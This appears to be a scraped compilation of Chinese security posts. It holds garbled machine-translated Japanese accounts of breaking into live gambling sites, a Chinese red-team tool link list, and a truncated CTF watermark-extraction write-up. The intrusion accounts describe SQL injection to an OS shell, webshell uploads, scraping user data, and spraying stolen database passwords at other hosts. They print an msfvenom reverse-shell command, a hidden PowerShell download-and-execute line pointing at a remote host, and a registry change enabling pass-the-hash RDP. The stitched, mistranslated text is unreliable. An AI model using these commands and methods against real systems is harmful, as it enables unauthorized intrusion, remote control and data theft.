
dr2splivcq11879.png

この脆弱性は、イントラネットファイルを横断できるSSRFに似ています。次に、GitHubで搾取のためのツールを見つけ、Burpを使用して辞書の徹底的なディレクトリとファイルを1つずつ実行しますが、次のファイルのみが見つかりました。これらはすべて通常のファイルとパスであり、予想される構成(アカウントなど)が見つかりませんでした。

dwmdevmylho1880.png

Cドライブを通過したい場合は、保護されているようです。

u4ljowuvywc1881.png

この抜け穴は一時的に放棄されます。

4。今のところ、XSSのみを使用できることがわかっており、それも反射的です。 XSSプラットフォームを見つけて、Cookieを盗み、XSSの脆弱性を備えたURLに埋め込んだスクリプトタグを生成し、カスタマーサービスMMを見つけてクリックしてクリックします。その結果、カスタマーサービスMMは愚か者に落ちなかっただけでなく、新しいサイトをもう一度試してみるための新しいリンクを送ってくれました。

さて、もう一度やり直して、新しいサイトを構築し続けます。アカウントで新しいサイトにログインした後、私は主にユーザーと対話するページを探します(多くのパラメーターが関係しており、変更の余地がたくさんあり、脆弱性の可能性は静的なWebページの可能性よりもはるかに大きいです)。私は多くの時間を費やし、無数のリンクをチェックしましたが、次のようにターニングポイントがあるように見えました。

dduvjp4ykjo1882.png

これは、アカウント名、電話番号、ニックネーム、アクセス許可などのさまざまな機密データを含むJSON文字列であり、URLにクライアントキーワードがあります。これはユーザー情報を表示するためのインターフェイスですか?すぐにBurpを使用してパケットをつかみ、URL内の純粋な数値のパラメーターを変更します(純粋な数字はインデックス作成を意味し、網羅的になりやすいです)。予想どおり、登録されたユーザーの情報は爆破されました。

ntg4t2452wr1883.png

5.さらに、CORSの脆弱性(CSRFのタイプ)もXrayを通じて発見されました。また、プラットフォーム上の顧客、管理者、または他のユーザーをクリックする方法を見つける方法も見つける必要があります。当面はここに行きません。

3iofj3zy1do1884.png

このほうれん草サイトの概要:1。ユーザーはフォームの入力を厳密に制限しており、SQL注入とXSSの両方がブロックされています。 2.樹脂の脆弱性は痛みを伴わず、機密データを取得できません。 3。支払い:標識フィールドの検証があり、検証アルゴリズムを最初にクラックする必要があります。 4。最終的に、ページはパラメーターを渡しましたが、チェックしませんでした。一部のユーザー情報は、数値パラメーターの値を変更することで爆破されました。 5.それはビジネス上の理由のためかもしれません。フロントエンドページはまだファイルをアップロードする場所を見つけていませんが、Xiaomaをアップロードする方法を見つけることはまだ不可能です。

参照:1。https://blkstone.github.io/2017/10/30/resin-attack-vectors/樹脂サービスに対する攻撃ベクトル照合

元のリンクアドレスから転載:https://www.cnblogs.com/theseventhson/p/13738535.html

0x00はじめに

私は退屈し、簡単なテストのためにオンラインでほうれん草を見つけてメモを取りました。大物は軽く噴出した。欠点がある場合はアドバイスしてください。

0x01弱いパスワード

ウェブサイトにアクセスするのはログインページです。検証コードがなければ、BPは直接有効になります。弱いパスワード管理者/123456が正常に公開され、背景に直接入ります。

图片

0x02注入して許可を取得

私は多くの機能ポイントを調べ、1つの機能ポイントでアップロードインターフェイスを見つけ、ファイルをアップロードしようとしましたが、アップロードできないことがわかりました。あきらめて見続けることを選択します。特定のhttp://url/groupmember.aspx?gid=パラメーターに単一の引用符を追加すると、エラーが直接報告されます。これはSQL注入後に来ていませんか?

图片

それを行い、直接sqlmap。

图片

MSSQLおよびDBAアクセス許可として、直接-S-Shell

图片

オンラインMSF

すでに通常の許可を取得している次のステップは、MSFを起動して権利を増やすことです。 MSFはPowerShellスクリプトを生成し、Webサイトディレクトリに配置します。

msfvenom -p Windows/x64/meterpreter/reverse_tcp lhost=x.x.x.x lport=8888 -f psh -reflection xx.ps1 图片

VPS Enable Monitoring 图片

PowerShellを使用してオンラインSESSIONPOWERSHELL.EXE -NOP -W HIDDEN -C 'IEX((new -Object.WebClient).DownLoadString(' http://x.x.x.x/xx.ps1 ')' 图片

URLスプライシングスタッキングを介してPowerShellを実行したい場合は、問題が発生します。これは単一の引用閉鎖の問題です。 PowerShellをエンコードして、単一の引用問題をバイパスできるようにすることができます。これが良いウェブサイトです。

https://r0yanx.com/tools/java_exec_encode/Elevation of Rights

セッションが開始され、次の目標はシステム許可を取得することです。幸いなことに、GetSystemはシステム許可を直接取得できます。権利を引き上げる必要がある場合、Tudouファミリーは権利の促進を推奨します。実際の戦闘の成功率は非常に高く、それに影響を与えるサーバーバージョンはたくさんあります。图片

プロセスを移行して、プロセスが崩壊しないようにします。图片

サーバーへのリモートログイン

サーバーは、システムの権限があり、2012年のシステムであるため、ポート3389を開設したことがわかりました。平易なテキストのパスワードが2008年以上のバージョンでキャプチャされていない場合、AdminNistratorパスワードを直接変更します。 (実際の戦闘で管理者パスワードを直接変更することはお勧めしません)图片

图片

ハッシュを使用して、管理者アカウントにリモートでログインします

プレーンテキストパスワードを取得できないのはWin2012であるため、管理者パスワードを直接変更するのは少し不適切です。管理者NTLMを取得して、リモートでマシンにログインしてみてください。 (それは同じではありません、それはただ一つのアイデアを提供するだけです)图片

Hashを使用してRDPへのリモートログインは、「制限された管理モード」を有効にする必要があります 'HKLM \ System \ CurrentControlset \ Control \ lsa' /vdisable -restricedAdmin /T reg_dword /d 000000 /f //オープン制限管理管理モデレグクエリ 'hklm str 'disabletedadmin'を見つけます ' StrSTR 'disableStrictiondadmin' //0x0が有効になっているかどうかを確認します图片を意味します

ハッシュリモート管理者デスクトップ图片を正常に使用しました

图片

04

0x03その他

初期段階では、ポート1433が開いていることがわかりました。そのため、データベース構成ファイルを探してデータベースにログインしました。

图片

私はFOFAを調べて、かなり多くの資産があることを発見しました、そして、それらの多くはオープンポート1433を持っています。私は同じ人によって展開されたウェブサイトがあると思います。取得したパスワードを使用して、これらの資産のポート1433を爆破し、すべてSA許可を使用していくつかのデータベースを正常にヒットしようとしました。仕上げる。

图片

元のリンクから転載:https://mp.weixin.qq.com/s/kj55hbzmc9jf6xmbzxwu4w3359xz.aliyun.com/t/12501

序文

私は映画を見るのが好きですが、無料でセックスをするのが好きなので、映画やテレビのサイトをよく見て、時にはいくつかの怠zyな広告がポップアップします。最近、私は公式アカウントをあまり更新していないので、Pを作るのが面倒な広告を見つけました。スケールは比較的大きいため、コーディングに真剣です。

簡単な要約

Lazy Video ---外部Xステーションの再生ソース图片 2を引用します。 Xを選択します----バックエンドは、都市とBaiduからの写真のすべての厄介な紹介です。偽物3。バックエンドデータを投稿しています图片

実用的な戦闘体験

ドメイン名検索、XXエンターテインメント、およびソースコードの波に囲まれた壁に取り付けられた背景を見つけました。同様のソースコードと構築されたチュートリアルを見つけました。サイトのIPが漏れました。一般的なサイトのデモンストレーションには、デモンストレーションアカウントのパスワードバックエンドとさまざまな指紋機能が添付されています。图片デモサイトの指紋およびデフォルトアカウントパスワードを介して、同じタイプのサイトのバッチを見つけました。基本的に、私はカラーレイジービデオを使用して、ほうれん草を誘導しました。图片背景宝くじプリセット、すべての詐欺。この記事をあなたの色の怠zyな友達と共有したいと思っています。图片初期段階では、デモサイトの指紋を見つけるためのソースコードを見つける方法を見つけました。一部のサイトもありますが、これは通常の浸透方法です。まず、アカウントを登録し、ユーザー名をカスタマイズしてXSコードに直接配置できるプロンプトを確認します。それはお金の無駄であり、背景を引き起こすのは困難です。背景をトリガーするのは困難です。图片バックグラウンドでのユーザーディスプレイはこのようなものであり、ユーザーの詳細をクリックすると图片 图片もトリガーされます。图片

元のリンクから転載:https://mp.weixin.qq.com/s/iiyt-m1ul0upxvocmwcfag

今日、私は突然、ウェブページを閲覧している間にほうれん草のサイトを見つけました。ウェブサイトのスクリーンショットは投稿しません。

ほうれん草の駅はより安全で、浸透するのは簡単ではないと言われているので、何もすることがなかったときに今日それをしました。その結果、ポートをスキャンしたばかりで、IPは禁止されました。これは少し悲しいので、エージェントを掛けて見てみることができます。

私は閲覧し、このサイトはメインサイトではなく、さまざまなアクティビティを処理するサイドステーションであるべきであることがわかりました。そして、私はアクティビティのポップアップウィンドウの1つで驚きを見つけました

图片[1]-渗透进入菠菜服务器(实战)-可能资源网 SFZはここにアップロードできますが、それはファイルアップロードの脆弱性があるかもしれないという意味ではありませんか?情報を収集するとき、私はこのサーバーがIIS7.5であることを知りました

图片[2]-渗透进入菠菜服务器(实战)-可能资源网少し前に、脆弱性を確認して分析するだけなので、脆弱性が存在するかどうかを試してみましょう。

图片[3]-渗透进入菠菜服务器(实战)-可能资源网アップロードのためにPHPの馬を画像馬にしました

图片[4]-渗透进入菠菜服务器(实战)-可能资源网応答結果によれば、アップロードは成功し、アドレスが返されました。次に、訪問しましょう

图片[5]-渗透进入菠菜服务器(实战)-可能资源网解析が実際に成功したことがわかりますが、残念ながら正常に使用することはできません。そのため、アップロードするためにマレーシアのPHPマレーシアの接尾辞をJPGに直接変更します

图片[6]-渗透进入菠菜服务器(实战)-可能资源网再び訪問したとき、私はそれが正常に使用できることを発見しました。私が入ったとき、私は多くの個人情報と人々のスクリーンショットを転送することがあるのを見ました。ほうれん草は人々に害を及ぼすと言わざるを得ません。

图片[7]-渗透进入菠菜服务器(实战)-可能资源网ウェブシェルがあるので、最初に現在の権限を見てみましょう。

图片[8]-渗透进入菠菜服务器(实战)-可能资源网対処するのは本当に難しく、私は再び低許容に遭遇しました。最初に権利を引き上げることを検討しないでください。また、利用可能な他の機密文書があるかどうかを確認し続けてください。さまざまなディレクトリで長い間検索した後、最終的にデータベースの構成ファイルを見つけました。これは次のように表示されます。

图片[9]-渗透进入菠菜服务器(实战)-可能资源网データベースに接続して、見てください

图片[10]-渗透进入菠菜服务器(实战)-可能资源网は、疑わしい管理者のアカウントとパスワードを見つけました。私はこれを試してみましたが、それを解読することができました。私は幸運でした。

图片[11]-渗透进入菠菜服务器(实战)-可能资源网次に、背景にログインして見てみましょう

图片[12]-渗透进入菠菜服务器(实战)-可能资源网 图片[13]-渗透进入菠菜服务器(实战)-可能资源网結果は非常に失望しました。私はもともと、さまざまなユーザー情報と資本フローがあると思っていました。この点に達したので、続行することしかできません。電源を上げる方法を考えながら、ほうれん草のステーションは実際には誤った評判ではないとため息をつきました。フォルダーの下にサーバーの情報ファイルが見つかりました。

图片[14]-渗透进入菠菜服务器(实战)-可能资源网ファイル名——「サーバー情報」に注意してください。しかし、私は本当に眠く、誰かが私に枕をくれました。このことから、このサイトはパゴダの上に構築され、アカウントとパスワードを提供していることを知っています。それはとても思慮深いです。ログインしてチェックしてみてください

图片[15]-渗透进入菠菜服务器(实战)-可能资源网 图片[16]-渗透进入菠菜服务器(实战)-可能资源网写真に示されているように、いくつかのデータベースは多くの罪深いお金取引を記録しています。詳細にリリースしません。

パゴダでは、管理者がポート3389を19283に変更したことも見ました。前のファイルで与えられたサーバーアカウントとパスワードを組み合わせて、ログインして見てみましょう

图片[17]-渗透进入菠菜服务器(实战)-可能资源网投げて試行することで、このサーバーの下にほうれん草に関する3つのサイトがあり、機能がまだ異なることがわかりました。 1つはメインサイト、1つはイベントの処理、もう1つはRed Envelope Grabです。それは本当にカラフルです。

元のリンクから転載:

https://www.kngzs.cn/1705.html

HireHackking

红队框架列表

攻击技战法

  • [list] 云上攻击技战法 https://hackingthe.cloud/
  • [doc] 红队技术实战 https://ired.team/

威胁情报 Threat Intelligence

  • [list] https://github.com/hslatman/awesome-threat-intelligence

红队框架/工具集 Redteam Framework

  • [tool] Utilities for MITRE ATT&CK https://github.com/nshalabi/ATTACK-Tools
  • [tool] 好用的渗透工具列表 https://github.com/enaqx/awesome-pentest
  • [book] KALI渗透 https://jobrest.gitbooks.io/kali-linux-cn/content/
  • [paper] ATT&CK 发布了七款安全产品的评估 https://medium.com/mitre-attack/first-round-of-mitre-att-ck-evaluations-released-15db64ea970d
  • [doc] 红队技术实战 https://ired.team/
  • [tool] 红队框架 https://ired.team/offensive-security/red-team-infrastructure/automating-red-team-infrastructure-with-terraform
  • [cheatsheet] 红队手册 https://github.com/mantvydasb/Offensive-Security-OSCP-Cheatsheets/
  • [tool] 渗透、红队工具集 https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE
  • [tool] 红队资源集合 https://github.com/yeyintminthuhtut/Awesome-Red-Teaming/
  • [tool] APT实战资源 https://osint-labs.org/apt/
  • [cheatsheet] Windows 渗透 https://m0chan.github.io/2019/07/30/Windows-Notes-and-Cheatsheet.html

MITRE ATT&CK Matrix

  • Caldera https://github.com/mitre/caldera https://caldera.readthedocs.io/en/latest/index.html
  • Atomic Red Team https://github.com/redcanaryco/atomic-red-team https://atomicredteam.io
  • DumpsterFire https://github.com/TryCatchHCF/DumpsterFire
  • Metta https://github.com/uber-common/metta https://github.com/uber-common/metta/wiki
  • RTA https://github.com/endgameinc/RTA

业内红队 Industry

  • https://specterops.io/
  • https://www.synack.com/red-team/

攻击杀伤链

信息搜集 Reconnaissance

OSINT 在线工具

  • [tool] 信息搜集和渗透工具集 https://github.com/projectdiscovery/
  • [tool] 企业邮箱搜索工具 http://www.skymem.info/
  • [tool] 子域名和DNS历史记录Dnstrails https://securitytrails.com/dns-trails
  • [tool] 全网证书搜索 http://crt.sh
  • [tool] 多种域名/IP信息工具 https://viewdns.info/
  • [tool] https://pentest-tools.com
  • [tool] 全网资产搜索 Shodan https://www.shodan.io/
  • [tool] 全网资产搜索 Censys https://censys.io
  • [tool] 全网资产搜索 Fofa https://fofa.so/
  • [tool] 全网资产搜索 Zoomeye https://www.zoomeye.org/
  • [tool] DNS查询 https://dnsdumpster.com/
  • [tool] 文件在线监测 VirusTotal https://www.virustotal.com/
  • [tool] DNS查询 http://www.dnsgoodies.com/
  • [tool] Google ASE aka Google Dorking [Most effective in some cases]
  • [tool] Spiderfoot [Currently Free, just request for a Spiderfoot instance]
  • [tool] Binaryedge [Paid/Rate-Limited]
  • [tool] onyphe.io [Free mostly]
  • [tool] Github用户历史记录API https://api.github.com/users/{username}/events

信息搜集工具

  • [tool] BigBountyRecon https://github.com/Viralmaniar/BigBountyRecon

指纹识别

  • [tool] WAF识别 https://github.com/stamparm/identYwaf

入口突破 Entry

钓鱼 Phishing

  • [tool] https://github.com/klionsec/PhishingExploit
  • [tool] https://github.com/gophish/gophish
  • [cases] 利用谷歌开放平台OAuth授权,伪装成Google Doc使用GMail传播钓鱼 https://www.reddit.com/r/google/comments/692cr4/new_google_docs_phishing_scam_almost_undetectable/
  • [blog] Office在线视频钓鱼 https://blog.cymulate.com/abusing-microsoft-office-online-video
  • [tool] 邮件钓鱼工具 https://www.mailsploit.com/index
  • [trick] 利用DOCX文档远程模板注入执行宏https://xz.aliyun.com/t/2496
  • [trick] 浏览器窗口伪造 https://github.com/openworldoperations/FISHY
  • [trick] 鼠标光标伪造 https://jameshfisher.github.io/cursory-hack/

硬件交互设备 HID Attack

  • [paper] 打印机利用 http://archive.hack.lu/2010/Costin-HackingPrintersForFunAndProfit-slides.pdf
  • [tool] BadUSB https://mp.weixin.qq.com/s/mIcRNcf5HmZ4axe8N92S7Q

无线入侵 Wireless Attack

  • [tool] 无需四次握手包破解WPA&WPA2密码 http://www.freebuf.com/articles/wireless/179953.html

服务器带外管理BMC、IPMI供应链攻击

  • [blog] 针对目标企业开源项目的针对性软件供应链攻击 https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Exploitation

  • [tool] PE文件转为Shellcode / https://github.com/hasherezade/pe_to_shellcode
  • [blog] Java Runtime.exec(String)执行任意命令 https://www.anquanke.com/post/id/159554https://mp.weixin.qq.com/s/pzpc44-xH932M4eCJ8LxYghttp://jackson.thuraisamy.me/runtime-exec-payloads.html
  • [paper] 利用 Java JDBC 驱动利用反序列化漏洞 https://xz.aliyun.com/t/7067
  • [blog] 关于Jackson的CVEs https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062
  • [paper] FastJson漏洞历史 https://github.com/miaochiahao/slides/tree/master/fastjson
  • [tool] 一键日Jira https://github.com/0x48piraj/Jiraffe
  • [tool] 很全的JNDI内存马利用工具 https://github.com/feihong-cs/JNDIExploit

权限提升 Privilege Escalation

  • [cheatsheet] Windows提权笔记 https://xz.aliyun.com/t/2519
  • [cheatsheet] Windows提权小抄 https://guif.re/windowseop
  • [cheatsheet] Windows本地提权技巧 http://payloads.online/archivers/2018-10-08/1
  • [cheatsheet] Linux提权小抄 https://guif.re/linuxeop
  • [exploit] Windows-Exploit-Suggester https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
  • [exploit] Linux-Exploit-Suggester https://github.com/PenturaLabs/Linux_Exploit_Suggester/
  • [exploit] Windows Exploits https://github.com/abatchy17/WindowsExploits
  • [exploit] Windows Sherlock本地提权漏洞检查 https://github.com/rasta-mouse/Sherlock
  • [cheatsheet] Linux sudo滥用提权 http://touhidshaikh.com/blog/?p=790
  • [blog] 深入解读MS14-068漏洞:微软精心策划的后门?http://www.freebuf.com/vuls/56081.html
  • [paper] Windows特权提升 https://www.exploit-db.com/docs/english/46131-windows-privilege-escalations.pdf
  • [tool] juicy-potato本地提权 https://github.com/ohpe/juicy-potato https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
  • [exploit] hh.exe提权 https://twitter.com/FlatL1ne/status/1194208167976165376
  • [tool] Linux本地信息搜集 https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
  • [tool] Linux进程监控 https://github.com/DominicBreuker/pspy
  • [cheatsheet] Linux Privilege Escalation https://book.hacktricks.xyz/linux-unix/privilege-escalation

持久化后门 Persistent

  • [tool] Gray Dragon .NET应用Runtime注入工具 / https://www.digitalbodyguard.com/graydragon.html
  • [trick] 利用环境变量,在任意.Net应用DLL注入 / https://mobile.twitter.com/subTee/status/864903111952875521 https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/bb384689(v=vs.100)
  • [tool] PHP-FPM无文件后门Webshell https://www.anquanke.com/post/id/163197
  • [tool] 利用PrintDialog持久化+执行命令 http://www.hexacorn.com/blog/2018/08/11/printdialog-exe-yet-another-lolbin-for-loading-dlls/
  • [tool] SystemSettings http://www.hexacorn.com/blog/2018/08/12/systemsettings-exe-yet-another-lolbin-for-loading-dlls/
  • [tool] 二进制加密Webshell https://xz.aliyun.com/t/2744https://github.com/rebeyond/Behinder
  • [cheatsheet] Linux权限维持 https://xz.aliyun.com/t/7338
  • [tool] Linux eBPF backdoor https://github.com/kris-nova/boopkit
  • [tool] 5行代码编译 PAM 后门 https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9

Post Exploitation

Windows

  • 无Powershell.exe的Powershell工具 / https://github.com/Ben0xA/nps
  • 全阶段的Powershell渗透测试脚本 / https://github.com/samratashok/nishang
  • 命令执行 Living off the Land https://github.com/api0cradle/LOLBAS
  • C# 后渗透测试库 SharpSploit 介绍 https://posts.specterops.io/introducing-sharpsploit-a-c-post-exploitation-library-5c7be5f16c51
  • [blog] Windows执行命令和下载文件总结 https://www.cnblogs.com/17bdw/p/8550189.html
  • [trick] 使用Rundll32运行.Net程序 https://blog.xpnsec.com/rundll32-your-dotnet/
  • [tool] .NET DllExport https://github.com/3F/DllExport

Linux

  • 纯Bash实现的后渗透工具 / https://github.com/TheSecondSun/Bashark/

凭据窃取 Credentials

  • [tool] SafetyKatz https://github.com/GhostPack/SafetyKatz
  • [tool] Shellcode Dump LSASS https://osandamalith.com/2019/05/11/shellcode-to-dump-the-lsass-process/
  • [tool] 内网密码搜集和解密工具 https://github.com/klionsec/Decryption-tool

横向移动 Letaral Movement

  • [tool] 端口扫描 wrriten in GO https://github.com/ffuf/ffuf/tree/master
  • [tool] 域信息搜集,域管理员的六度空间 https://github.com/BloodHoundAD/SharpHound
  • [usage] NMap空闲隐蔽扫描 https://nmap.org/book/idlescan.html
  • [blog] 使用meterpreter进行NTLM中继攻击 https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/
  • [tool] Responder NetBIOS名称欺骗和LLMNR欺骗 https://github.com/SpiderLabs/Responder
  • [tool] NTLM Relay 攻击 Exchange Web Services https://github.com/Arno0x/NtlmRelayToEWS
  • [tool] SMB中间人劫持 https://github.com/quickbreach/SMBetray
  • [tool] 代理隧道 https://github.com/txthinking/brook
  • [tool] 代理隧道 https://github.com/Dliv3/Venom

绕过检测 Defense Evasion

  • [book] 效果不错的免杀,使用C#绕过杀毒软件
  • [tool] 生成免杀的Metasploit Payload / https://github.com/Veil-Framework/Veil
  • [code] 自定义Meterpreter加载 / http://www.freebuf.com/articles/system/53818.html
  • [blog] 九种姿势执行Mimikaz
  • [blog] 使用.Net可执行程序进行渗透
  • [blog] ATT&CK 攻击矩阵 躲避防御
  • [blog] 绕过下一代杀软
  • [blog] Windows NTFS特殊文件夹绕过检测
  • [paper] Winnti Bootkit http://williamshowalter.com/a-universal-windows-bootkit/
  • [paper] UEFI Rootkit https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/
  • [twitter] Linux Bash 混淆 https://twitter.com/DissectMalware/status/1025580967384305664
  • [tool] 免杀工具 AVEThttps://github.com/govolution/avet
  • [blog] 绕过CrowdStrike检测 https://0x00sec.org/t/bypassing-crowdstrike-falcon-detection-from-phishing-email-to-reverse-shell/10802
  • [blog] 10 种绕过杀毒软件的方式 https://blog.netspi.com/10-evil-user-tricks-for-bypassing-anti-virus/
  • [tool] DLL Side Loding Attack Gen https://github.com/Mr-Un1k0d3r/MaliciousDLLGenerator
  • [tool] BypassAV ShellCode Loader https://github.com/k8gege/scrun
  • [blog] Protecting Your Malware with blockdlls and ACG 利用微软自身提供的安全机制来反EDR https://blog.xpnsec.com/protecting-your-malware/
  • [blog] Detecting Parent PID Spoofing https://blog.f-secure.com/detecting-parent-pid-spoofing/
  • [tips] 对抗EDR的三个重要特征: 1. Process Relationship / 2. Suspicious Network / 3. Command Line.
  • [blog] Antivirus Evasion with Python https://medium.com/bugbountywriteup/antivirus-evasion-with-python-49185295caf1
  • [tool] JS免杀Shellcode https://github.com/Hzllaga/JsLoader
  • [tool] 利用杀毒软件销毁自身 https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software/
  • [tool] 免杀合集 https://github.com/TideSec/BypassAntiVirus
  • [tool] Apache/Nginx端口转发,隐藏TeamServer https://github.com/threatexpress/cs2modrewrite
  • [tool] 《使用C#编写自定义后门负载》学习笔记及免杀尝试 https://xz.aliyun.com/t/6222
  • [tool] 杀软进程名检查 https://github.com/gh0stkey/avList/
  • [blog] Windows免杀新技术 Process Herpaderping https://jxy-s.github.io/herpaderping/
  • [blog] Domain Borrowing: 一种基于CDN的新型隐蔽通信方法 https://xlab.tencent.com/cn/2021/05/14/domain-borrowing/

C&C

  • [tool] ICMP后门 https://github.com/inquisb/icmpsh
  • [tool] Windows远控 in C# https://github.com/quasar/QuasarRAT
  • [tool] Defcon后渗透工具,大宝剑 https://github.com/zerosum0x0/koadic
  • [tool] Custom Command and Control https://labs.mwrinfosecurity.com/tools/c3
  • [paper] CobaltStrike教程文档 https://wbglil.gitbooks.io/cobalt-strike/
  • [blog] PowerGhost挖矿病毒分析 https://www.freebuf.com/articles/system/219715.html
  • [tool] 隐藏网络连接的后门 https://github.com/BeetleChunks/redsails
  • [tool] Powershell反连后门 https://github.com/ZHacker13/ReverseTCPShell
  • [tool] JS VBS Payload生成器 https://github.com/mdsecactivebreach/CACTUSTORCH
  • [tool] 基于Golang的C2,DeimosC2 https://github.com/DeimosC2/DeimosC2
  • [tool] 基于Golang的反弹Shell管理程序 https://github.com/WangYihang/Platypus
  • [tool] 基于.Net框架的开源C2,https://github.com/cobbr/Covenant
  • [tool] 基于Rust的开源C2 Link,支持 Windows、Linux、MacOS https://github.com/postrequest/link
  • [tool] C语言编写的小巧精悍后门 https://github.com/MarioVilas/thetick
  • [tool] C2 Silver https://github.com/BishopFox/sliver

数据外传 Data Exfiltration

  • [blog] 数据外传技术 https://www.pentestpartners.com/security-blog/data-exfiltration-techniques/

杂项 & 辅助工具 Misc

  • [forum] Hack the box https://www.hackthebox.eu/
  • [tool] 代码生成手绘图 https://www.websequencediagrams.com/
  • [tool] 本地代码生成ascii文本绘图 graph::easy
  • [tricks] 技巧汇总 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet#lbwh-anchor

匿名邮箱和短信接收平台

  • https://lcx.cc/post/4594/
  • 复用Gmail邮箱的技巧 https://gmail.googleblog.com/2008/03/2-hidden-ways-to-get-more-from-your.html

中间人 MITM

  • [tool] https://github.com/LionSec/xerosploit
  • [tool] 钓鱼反向代理中间人工具 https://github.com/hash3liZer/evilginx2

安卓安全 Android

  • [paper] Frida操作手册 https://github.com/hookmaster/frida-all-in-one

逆向分析 Reverse

  • [tool] NSA发布逆向分析框架Ghidra https://www.nsa.gov/resources/everyone/ghidra/
  • [tool] Modern Java Bytecode Editor https://github.com/Col-E/Recaf

爆破 & 字典 Wordlist

  • 常见服务的暴力破解 https://github.com/lanjelot/patator
  • 看起来很强的弱密码 https://github.com/r35tart/RW_Password
  • 超全Payload https://github.com/swisskyrepo/PayloadsAllTheThings
  • 社工字典生成工具 https://github.com/Saferman/cupper

渗透辅助 & OOB工具

  • [tool] nuclei 的 dnslog https://github.com/projectdiscovery/interactsh
  • [tool] lijiejie 基于 bugscan dnslog 二开的 dnslog https://github.com/lijiejie/eyes.sh

自动化扫描 & 巡检

  • [tool] 分布式扫描器WDScanner https://www.freebuf.com/sectool/203772.html
  • [tool] 灯塔资产巡检 https://github.com/TophantTechnology/ARL

云安全 & 云原生

  • [book] K8S指南 https://feisky.gitbooks.io/kubernetes/introduction/101.html
  • [list] 云上攻击技战法 https://hackingthe.cloud/

Web安全

  • [collections] Web安全项目合集 https://github.com/qazbnm456/awesome-web-security
  • [tool] Web扫描通用辅助函数集 https://wsltools.readthedocs.io/en/latest/
  • [tool] Web爬虫,基于Chrome Headless https://github.com/chaitin/rad
  • [tool] Burpsuite插件,敏感信息识别和提取 https://github.com/gh0stkey/HaE
  • [tool] MLoger - HTTP(S)/TCP/WS 抓包测试工具 https://github.com/momosecurity/Mloger
  • [tool] Web扫描器 nuclei,支持POC扫描 https://github.com/projectdiscovery/nuclei

软件包/组件/依赖安全

  • [tool] 开源漏洞库,组件安全,依赖安全 https://security.snyk.io/
  • [tool] 组件依赖安全检测 https://github.com/jeremylong/DependencyCheck

XXE

  • [tool] XXE盲打外传工具 https://github.com/TheTwitchy/xxer
  • [tool] 攻击Java RMI https://github.com/NickstaDB/BaRMIe

Java安全

  • [book] Java安全 https://github.com/anbai-inc/javaweb-sec
  • [tool] 优化版本yso https://github.com/zema1/ysoserial

前端黑魔法

  • paper 反爬虫JS破解与混淆还原手册 https://github.com/LoseNine/Restore-JS

Defense

入侵检测 Detection

  • [blog] 针对微软活动目录(AD)的七大高级攻击技术及相应检测方法 https://www.anquanke.com/post/id/161815
  • [blog] 攻防对抗:活动目录中的欺骗技术 https://www.anquanke.com/post/id/162210
  • [tool] Webshell查杀 http://www.shellpub.com/
  • [paper] eBPF进程阻断 https://www.cnxct.com/linux-kernel-hotfix-with-ebpf-lsm/
  • [paper] Tetragon进程阻断原理 https://www.cnxct.com/how-tetragon-preventing-attacks/

溯源反制

  • [tool] 利用JetBrains来进行RCE反制 https://github.com/CC11001100/idea-project-fish-exploit

主机加固

  • [blog] 隐藏其他用户的进程信息 https://linux-audit.com/linux-system-hardening-adding-hidepid-to-proc/

法律法规 Laws

  • 美国信息泄露通知法 https://en.wikipedia.org/wiki/Security_breach_notification_laws

转自文章来源: https://kingx.me/pentest-tools/

一、misc

1.题目名称:CyberSpace

先选择最小的数使其相等,然后分成两部分依次加各部分最小的次数,不会写脚本只能手搓rikyroxyzbh15438.jpgb= [32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55]
flag=''
for i in range(len(b)):
flag+=chr(b[i]+70)
print(flag)
#flag{different_xor}
crypto
strange_rsa1
将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可

2.题目名称:ezdct-svd

开局一张图

1rrpwujiqmv15442.jpg

根据题目名ezdct-svd就可以知道是dct的频域隐写,然后hint.txt为

我们找到了用于嵌入水印的脚本文件hide.py中其中的三行(这三行并不挨着): watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128 block_shape = (8, 8) Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30

最后那句可以在invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)这找到相关源码,解量化的方法就是 int ((s[0] % scale) > scale * 0.5),思路就结束了,所以说图片先分块,然后用dct变换后再svd分解,取矩阵的最大特征值后解量化即可,据此写脚本得到

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:64*64].reshape(64,64)

plt.imshow(r)

plt.show()

其实这边有三个图层,但是一般都是先从r图层开始,这里可以很清楚的看见最上面有一长串的黑值,且长度为7,找到下一处长度为7的黑条,数了下长度为37,而37*37也正是二维码的尺寸,修改size即可得到flag二维码

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

